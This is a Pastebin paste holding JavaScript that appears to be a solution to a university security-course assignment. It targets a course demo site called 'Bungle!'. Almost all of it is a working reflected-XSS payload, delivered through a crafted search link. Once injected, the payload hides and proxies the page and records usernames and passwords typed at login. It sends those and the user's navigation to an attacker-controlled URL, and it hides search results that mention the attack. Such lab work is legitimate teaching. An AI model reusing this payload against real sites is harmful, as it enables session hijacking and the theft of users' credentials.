Advertisement
Guest User

Untitled

a guest
Nov 26th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.77 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  3. <script>
  4. // Extend this function:
  5. function payload(attacker) {
  6. function log(data) {
  7. console.log($.param(data))
  8. $.get(attacker, data);
  9. }
  10. function proxy(href) {
  11. var stateObj = { foo: href };
  12. history.pushState(stateObj, "page 2", href);
  13. $("html").load(href, function(){
  14. $("html").show();
  15.  
  16. // log nav
  17. if ($('#logged-in-user').length) {
  18. var logged_in_user = $('#logged-in-user').html().toString();
  19. log({event: "nav", user: logged_in_user, url: href})
  20. } else {
  21. log({event: "nav", url: href})
  22. }
  23.  
  24. //log logout
  25. $("#log-out-btn").click(function() {
  26. alert('logout');
  27. log({event: "logout", user: logged_in_user});
  28. proxy("/");
  29. });
  30.  
  31. //log login
  32. $("#log-in-btn").click(function() {
  33. alert('login');
  34. var user = $('#username').val();
  35. var pass = $('#userpass').val();
  36.  
  37. log({event: "login", user: user, pass: pass});
  38. proxy("/");
  39. });
  40.  
  41. //hide attacks in search
  42. $("a:contains('ATTACK SCRIPT')").hide();
  43. });
  44. }
  45. $("html").hide();
  46.  
  47.  
  48. proxy("/");
  49. }
  50. function makeLink(xssdefense, target, attacker) {
  51. if (xssdefense == 0) {
  52. return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
  53. encodeURIComponent("<script" + ">" + payload.toString() +
  54. ";payload(\"" + attacker + "\");</script" + ">");
  55. } else {
  56. // Implement code to defeat XSS defenses here.
  57. }
  58. }
  59. var xssdefense = 0;
  60. var target = "http://cos432-assn3.cs.princeton.edu";
  61. var attacker = "http://127.0.0.1:31337/stolen";
  62. $(function() {
  63. var url = makeLink(xssdefense, target, attacker);
  64. $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  65. });
  66. </script>
  67. <h3></h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement